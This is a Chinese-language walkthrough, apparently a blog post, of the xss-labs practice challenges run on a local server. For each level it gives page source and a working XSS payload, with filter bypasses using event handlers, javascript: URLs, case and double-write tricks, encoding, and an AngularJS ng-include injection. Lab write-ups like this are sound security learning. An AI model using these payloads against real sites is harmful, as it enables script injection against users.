1.环境搭建
先去GitHub下载,点这。然后利用phpstudy启动服务访问即可,具体的百度都有。
level 1
观察源代码
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户1"></h2></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
用</h2>
闭合前面的<h2>
,在执行一个xss比如<script>alert('xss')</script>
即可完成第一关,payload:
http://127.0.0.1/xss-labs-master/level1.php?name=</h2><script>alert('xss')</script>
level2
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
先用第一关的payload试试,发现行不通,变成了这样
h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和</h2><script>alert('xss')</script>相关的结果.</h2><center>
可以看到下面有
<input name=keyword value="test">
我们要填入的变量是value,假如填一个1">插入后语句变成<input name=keyword value="1">">
那么后面的内容不就可以自己构造了吗,payload:
1"><script>alert('xss')</script>
level3
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
好像没什么不一样,尝试输入payload,发现过滤了'>
('
')
等等类似的危险字符,输入后会被转义,这里使用JavaScript事件来利用,payload' onclick='javascript:alert(2
,插入后为
<input name=keyword value='' onclick='javascript:alert(2)'>
点击页面即可过关.
level4
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和try harder相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="try harder">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:10</h3></body>
</html>
简单测试,发现过滤了尖括号,那么使用不需要尖括号就能触发的payload,将3的单引号变成双引号就可以了,最后得
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和" onclick="javascript:alert(2)相关的结果.</h2><center>
点击即可触发进入下一关
level 5
源码几乎一样,过滤规则改变,尝试输入<script>alert('xss')</script>
,发现变成了<scr_ipt>alert('xss')</script>
,onclick也变成了o_nclick,尝试img标签,没有绕过,插入后没反应不知道为什么,试了另一个JavaScript事件,先闭合前面的标签,用">
,payload:
1"><a href="javascript:alert('xss')">123</a>
随后点击123即可
看了网上基本都是这样,于是我想找找别的方法,这个也可以
1"><iframe src="javascript:alert('123');">(随便填)</iframe>
level 6
过滤规则好像差不多,多了href,src,所以上面的用不了,搞半天是大小写绕过…
level 7
过滤了指定字符,src,script这些,双写绕过。
level 8
用url编码或者html实体编码绕过
HTML实体编码表
javascRipt:alert('xss')
level 9
不看源码盲猜猜不出,源码中必须要有http://,不然就不合法
编码绕过…
javascript:alert(1)//http://
level 10
看源码,发现有三个hidden的参数,于是想到了注释来绕过,但是只有发现t_sort会变,且尖括号被过滤
payload:?t_sort="onclick="alert(%27xss%27)"
F12把hidden删掉然后点击即可
level 11
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
观察到有多个变量,再试试注释的方法,还是只有第三个变量能传值,尝试闭合,有过滤,还是用下面这种方法吧,看了网上还有别的方式,就是抓包后在referer处修改值就会使得t_ref的值改变,尖括号过滤,用"闭合前面的值,直接放链接吧点这里
level12
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
根据前两关的经验,这t_ua应该就是抓包修改ua头,先试试能不能直接改,直接改并不行,抓包修改,比较简单,payload1"> onclick="alert(1)
level 13
13关源码差不多 只是t_ua变成了t_cook,盲猜一手cookie,抓包一看果然是。用上面的payload打,将hidden删掉,成功
level 14
14关比较奇特,F12看没有传值的地方,并且一直转圈圈然后提示连接失败,看了一下wp发现这题依旧没法做了,具体的参考这个
level 15
/script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>
发现有个ng-include,百度一下
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
需要单引号包裹,否则变成注释。
源码
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
这里get一个src,并且将参数进行了HTML实体转换,payload
src='level1.php?name=test<img src=1 onerror=alert(1)>'
level 16
空格,script,/都被过滤,可以用%0a或者%0d代替空格
直接插入即可
payload <img%0Dsrc=1%0Donerror=alert(1)>
level 17
给了两个参数get传,查看传参点,直接
http://127.0.0.1/xss-labs-master/level17.php?arg01=123123&arg02=asdasd%22%20onmousemove=alert(12)
就成功了,用onclick click不出,所以用move
level 18
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<embed src=xsf02.swf?a=b width=100% heigth=100%></body>
</html>
url:http://127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=b
和前一关没啥区别啊…http://127.0.0.1/xss-labs-master/level18.php?arg01=a&arg02=c%20onmousemove=alert(1)
即可
level 19 20
代码差不多 但是此前的payload都用不了,看了一下embed src 是搞flash的,但是google已经把flash禁用了,我这里加载不出插件,给两篇文章学习
level 19
level 20
最后送一张图,总结知识点网上找的